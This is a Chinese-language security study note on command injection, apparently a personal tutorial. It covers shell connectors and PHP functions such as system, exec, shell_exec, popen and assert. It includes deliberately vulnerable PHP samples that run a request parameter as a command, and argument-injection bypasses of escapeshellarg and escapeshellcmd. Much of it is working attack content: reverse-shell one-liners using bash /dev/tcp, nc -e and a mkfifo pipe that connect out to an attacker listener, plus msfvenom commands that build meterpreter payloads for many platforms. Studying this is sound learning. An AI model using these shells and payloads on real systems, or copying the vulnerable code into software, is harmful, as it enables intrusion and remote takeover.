一、區別
命令注入:直接執行系統中的指令
代碼注入:靠執行腳本來調用系統命令
二、命令連接符
符號 | 說明 | 注 |
---|---|---|
; | 前后命令依次執行 | 注意前后順序,若更變目錄,則必須在“一句”指令內 |
|| | 前命令執行失敗后才執行后命令 | - |
&& | 前命令執行成功后才執行后命令 | - |
& | 前台執行后任務,后台執行前任務 | 如 a&b&c 則顯示c的執行信息,a b在后台執行 |
| | 管道,只輸出后者的命令 | 當第一條命令失敗時,它仍然會執行第二條命令 |
``(反引號,僅linux) | 即命令替換,echo `date`,輸出系統時間 | 使用反引號運算符的效果與函數shell_exec()相同,但在激活了安全模式或者關閉了shell_exec()時是無效的 |
$(command) | 這是命令替換的不同符號。與反引號效果一樣。echo $(date),輸出系統時間. | 按理說更推薦用這種方法,而不是反引號。 |
注:
三、命令執行函數
PHP
- system與passthru:用來執行一個外部的應用程序並將相應的執行結果輸出
string system(string command, int&return_var)
- command:執行的命令
- return_var:命令執行后的狀態
<?php
if($_REQUEST['cmd']){
$str=$_REQUEST['cmd'];
system($str); //關鍵
// passthru($str); //替換,一樣的效果
}
?>
構造參數http://127.0.0.1/Command_Execution_test1.php?cmd=ipconfig
,有:
- exec:可以用來執行一個外部的應用程序
string exec (string command, array& output, int & return_var)
- command:執行的命令
- output:命令執行后的輸出
- return_var:命令執行后的狀態
<?php
if($_REQUEST['cmd']){
$str=$_REQUEST['cmd'];
print exec($str); //關鍵
}
?>
構造與之前的一樣。
- shell_exec:執行shell命令並返回輸出的字符串
string shell_exec (string command)
- command:執行的命令。
<?php
if($_GET['cmd']){
$str=$_GET['cmd'];
$output = shell_exec($str);//關鍵
echo "<pre>$output</pre>";
}
?>
構造與之前的一樣。
- 反引號與$(command)
<?php
if($_REQUEST['cmd']){
$str=$_REQUEST['cmd'];
print `$str`;
// print $($str)) //替換:$(command),效果一樣
}
?>
構造與之前的一樣。
- popen與proc_popen:函數用來打開進程文件指針,打開一個該進程的管道,接下來便可以對該進程進行操作,可以執行OS命令,但是不返回命令結果。(第一個是單向,第二個是雙向),出現得比較少
popen (string $command , string $mode ): resource
proc_open ( string $cmd , array $descriptorspec , array &$pipes , string $cwd = null , array $env = null , array $other_options = null ) : resource
proc_open() 提供了更加強大的控制程序執行的能力(參考)
<?php
if($_GET['cmd']){
$str=$_GET['cmd'];
$handle=popen($str,'r');
pclose($handle);
}
?>
構造參數:http://127.0.0.1/Command_Execution_test4.php?cmd=ipconfig>>1.txt
,可以在目錄下看到1.txt
- assert與eval:都是動態執行命令,此命令不是系統的cmd命令哦。
<?php
if($_GET['cmd']){
$str=$_GET['cmd'];
assert($str); //執行的是PHP中的命令函數
}
?>
構造參數1:http://127.0.0.1/Command_Execution_test2.php?cmd=print_r(scandir(%27../%27))
構造參數2:http://127.0.0.1/Command_Execution_test2.php?cmd=phpinfo()
- pcntl_exec:
參考鏈接:
三、繞過
3.1 escapeshellarg與escapeshellcmd(參數注入)
PHP內置的命令執行函數,都只接受一個“字符串”作為參數。而在內核中,這個字符串將被直接作為一條shell命令來調用,這種情況下就極為容易出現命令注入漏洞。因此,php准備了兩個過濾函數(就是題目的兩個)。舉個例子:
CODE:
<?php
if($_GET['cmd']){
$cmd=$_GET['cmd'];
$para=$_GET['para'];
echo '<strong>Original cmd:</strong>'.$cmd.' '.$para;
echo '<br>';
$str=escapeshellcmd($cmd.' '.$para);
echo '<strong>After escapeshellcmd:</strong>'.$str;
echo '<br>';
$str=$cmd.' '.escapeshellarg($para);
echo '<strong>After escapeshellarg:</strong>'.$str;
echo '<br>';
$str=escapeshellcmd($cmd.' '.escapeshellarg($para));
echo '<strong>Final cmd:</strong>'.$str;
echo '<br></br>RESULT:<br>';
$output = shell_exec($str);
echo "<pre>$output</pre>";
}
?>
URL_1:http://127.0.0.1/Command_Execution_defent1.php?cmd=ping 192.168.1.1||echo 1
OUTPUT_1:
Original cmd:ping 192.168.1.1||echo 1
After escapeshellcmd:ping 192.168.1.1^|^|echo 1
After escapeshellarg:ping "192.168.1.1||echo 1"
Final cmd:ping ^"192.168.1.1^|^|echo 1^"
RESULT:
Ping 請求找不到主機 192.168.1.1||echo 1。請檢查該名稱,然后重試。
注:ping ^"192.168.1.1^"
,這個指令竟然能執行!
URL_2:http://127.0.0.1/Command_Execution_defent1.php?cmd=ping¶=-n 2 192.168.1.1
OUTPUT_2:
Original cmd:ping -n 2 192.168.1.1
After escapeshellcmd:ping -n 2 192.168.1.1
After escapeshellarg:ping "-n 2 192.168.1.1"
Final cmd:ping ^"-n 2 192.168.1.1^"
RESULT:
必須為選項 -n 2 192.168.1.1 提供值。
由此可見兩者的功能
函數 | 說明 |
---|---|
escapeshellarg | 1. 防止出現第二個參數(只能有一個參數) 2. 因整體para加引號,所以不能執行其他指令 |
escapeshellcmd | 1. 可以指定不限制數量的參數 2. 防止執行多個命令(黑名單禁止分號,&等符號) |
但是,我們仍然可以將參數傳給第一個指令,也就是可以將新選項傳遞給命令。這就可能構成參數注入。
如URL_2,我們仍然可以傳遞多個參數,這樣,就可以利用新選項執行命令(有find -exec ?
與tar --use-compress-program ?
)
而URL_1,我們看到整一個para變成一個參數,這樣,若有選項[option]可以執行命令,則可以整體傳遞過去(有mysql -uuser -ppassword -e ! id
)
還有一種比較娛樂的例子:https://www.cnblogs.com/yxwkf/p/4681925.html
參考鏈接
3.2 常見繞過
字符 | 繞過例子 | 注 |
---|---|---|
空格 | {substr{10}{1}{$tod_log}} |
- |
/ | ${substr{0}{1}{$spool_directory}} |
- |
推薦:
四、GET shell
4.1 反彈shell
反彈shell(reverse shell),就是控制端監聽在某TCP/UDP端口,被控端發起請求到該端口,並將其命令行的輸入輸出轉到控制端。reverse shell與telnet,ssh等標准shell對應,本質上是網絡概念的客戶端與服務端的角色反轉。為什么要反彈,什么是反彈?先說正向鏈接,是攻擊者連接被害者,而反彈就是被害者主動連接攻擊者。這樣做的原因是正向連接困難(如受害主機ip不斷更換,有防火牆等)。【參考】
常見反彈shell:(重點在於理解重定向)
bash:bash -i >& /dev/tcp/10.10.10.1/6666 0>&1
- 標准輸入輸出有三種:0=stdin(輸入);1=stdout(輸出);2=stderr(錯誤);
- 重定向符號(<,>):<表示輸入重定向,>表示輸出重定向;
bash -i
:表示交互式shell(你來我往)>
與>&
:舉個例子echo 1>2
表示將標准輸出stdout輸出到2
這個文件,而echo 1>&2
表示將標准輸出stdout輸出到標准輸出stderr里頭。&
的作用不是后台運行,&
和<>
連用是為了將純數字名文件和文件描述符區分開。再舉個例子:echo '1'>1
表示將字符1
輸出到文件1
中/dev/tcp/10.10.10.1/6666
:體現linux一切皆是文件的思想,當然,這個文件實際是不存在的。>& /dev/tcp/10.10.10.1/6666:
>&word和
&>word都表示的是把標准輸出和標准錯誤同時重定向到某個文件,都相當於
>word 2>&1`。即,把標准輸出定向到文件6666中,也把標准錯誤定向到標准輸出中(然后再定向到文件6666中)。總的來說,把標准輸出與標准錯誤都定向到文件6666中。0>&1
:表示將標准輸入重定向到標准輸出里面- 整合一下:建立一個交互式shell,將標准輸出與標准錯誤定向到鏈接6767的端口上,同時將6767端口上的輸出作為本機的輸入。實現鏈接6767端口的攻擊機能在受害機(執行shell的)上執行命令並獲取信息。
例子:
- 主機(10.10.10.1),使用netcat,對6666端口進行監聽,命令如下
nc.exe lvp 6666
。其中l
指listen,v
指交互,p
指port端口 - 受害機執行命令
bash -i >& /dev/tcp/10.10.10.1/6666 0>&1
- 得到畫面如下:
NetCat:使用nc中的-e
選項,程序重定向,一旦連接,就執行。若無-e
選項,則使用另外一種方式。
例子1:
- 主機(10.10.10.1),使用netcat,對6666端口進行監聽,命令如下
nc.exe lvp 6666
。 - 受害機執行命令1
nc -e /bin/sh 10.10.10.1 6666
,連接10.10.10.1的同時重定向shell給主機。
或者執行命令2rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.1 6666 >/tmp/f
- 得到畫面如下:
4.2 msf getshell
Msfvenom
生成木馬/getshell腳本。生成方式:
Linux
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=< 監聽ip> LPORT=< 監聽端口> -f elf > shell.elf
Windows
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<監聽ip> LPORT=<監聽端口> -f exe > shell.exe
PS
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<監聽ip> LPORT=<監聽端口> -f psh-reflection >xxx.ps1
Mac
msfvenom -p osx/x86/shell_reverse_tcp LHOST=<監聽ip> LPORT=<監聽端口> -f macho > shell.machoWeb Payloads
PHP
msfvenom -p php/meterpreter_reverse_tcp LHOST=<監聽ip> LPORT=<監聽端口> -f raw > shell.php
cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php
ASP
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<監聽ip> LPORT=<監聽端口> -f asp > shell.asp
JSP
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<監聽ip> LPORT=<監聽端口> -f raw > shell.jsp
WAR
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<監聽ip> LPORT=<監聽端口> -f war > shell.war
Scripting Payloads
Python
msfvenom -p cmd/unix/reverse_python LHOST=<監聽ip> LPORT=<監聽端口> -f raw > shell.py
Bash
msfvenom -p cmd/unix/reverse_bash LHOST=<監聽ip> LPORT=<監聽端口> -f raw > shell.sh
Perl
msfvenom -p cmd/unix/reverse_perl LHOST=<監聽ip> LPORT=<監聽端口> -f raw > shell.pl
APK
msfvenom -p android/meterpreter/reverse_tcp LHOST=<監聽ip> LPORT=<監聽端口> R > /1.apk
Meterpreter
包括入侵與后滲透等內容。
以上不詳細說了。